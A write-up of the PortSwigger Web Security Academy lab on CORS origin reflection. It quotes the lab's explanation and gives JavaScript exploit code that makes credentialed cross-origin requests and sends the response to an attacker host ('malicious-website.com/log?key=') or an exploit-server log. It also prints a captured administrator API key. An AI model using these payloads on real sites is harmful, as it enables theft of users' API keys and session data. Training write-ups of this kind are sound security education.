CORS vulnerability with basic origin reflection

Platform: PortSwigger | Category: CORS | Type: Lab | Difficulty: N/A | OS: N/A | Author: XESXOR | Date: 2026-08-24 | Status: Solved Techniques: Web Security Academy, CORS

Summary

Walkthrough of the PortSwigger Web Security Academy lab CORS vulnerability with basic origin reflection (CORS). This lab demonstrates a cors vulnerability and its exploitation to achieve the lab objectives.

Lab Overview

PortSwigger Web Security Academy — CORS

This writeup is part of the XESXOR PortSwigger collection. The original lab description and solution have been preserved and reformatted for clarity.

Lab Description :

Overview :

Server-generated ACAO header from client-specified Origin header

Some applications need to provide access to a number of other domains. Maintaining a list of allowed domains requires ongoing effort, and any mistakes risk breaking functionality. So some applications take the easy route of effectively allowing access from any other domain.

One way to do this is by reading the Origin header from requests and including a response header stating that the requesting origin is allowed. For example, consider an application that receives the following request:

 http read-only • copy allowed Copy
GET /sensitive-victim-data HTTP/1.1
Host: vulnerable-website.com
Origin: https://malicious-website.com
Cookie: sessionid=...

It then responds with:

 http read-only • copy allowed Copy
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://malicious-website.com
Access-Control-Allow-Credentials: true
...

These headers state that access is allowed from the requesting domain (malicious-website.com) and that the cross-origin requests can include cookies (Access-Control-Allow-Credentials: true) and so will be processed in-session.

Because the application reflects arbitrary origins in the Access-Control-Allow-Origin header, this means that absolutely any domain can access resources from the vulnerable domain. If the response contains any sensitive information such as an API key or CSRF token, you could retrieve this by placing the following script on your website:

 javascript read-only • copy allowed Copy
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();

function reqListener() {
   location='//malicious-website.com/log?key='+this.responseText;
};

Solution :

Analysis -

First let's login as wiener using the credentials given - wiener:peter

Once logged in , we can see that there is an email update functionality & the API key of wiener.

In the HTTP history tab, we can see that the GET request to /accountDetails contains the ACAC=true header in its response.

This meaans that if we can able to exploit CORS here then we can able to get the session cookie, API key etc of the user.

Note that there is no Origin header in the request that's why we don't see any Access-Control-Allow-Origin header too.

Explloiting CORS misconfiguration -

If we try to provide Origin: evil.com , we can see that there is Access-Control-Allow-Origin: evil.com & Access-Control-Allow-Credentials: true in the response.

This means the server takes the Origin provided in the request and sends it back in the response with the header Access-Control-Allow-Origin: <origin.com>.

Go to exploit server and paste the following code.

NOTE - Uri to provide is /accountDetails

 javascript read-only • copy allowed Copy
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://0aca000b03408aa480b9856d00e600f5.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();

function reqListener() {
   location='/log?key='+this.responseText;
};
</script>

Deliver exploit to Victim & View Access-log, there we can find the API key of administrator.

 json read-only • copy allowed Copy
/log?key={  "username": "administrator",  "email": "",  "apikey": "FTTGVC2HkWwpvvUW54D6cMl9hup8oypH"

Finally we've solved the lab.

Key Takeaways / Lessons

• Understanding CORS detection and exploitation is crucial for web security.
• Always validate and sanitize user input; implement proper access controls.
• This lab is part of the PortSwigger Web Security Academy — practice in a safe, legal environment.

---

Crafted by XESXOR Research • 2026-08-24 • PortSwigger Web Security Academy • Lab: CORS vulnerability with basic origin reflection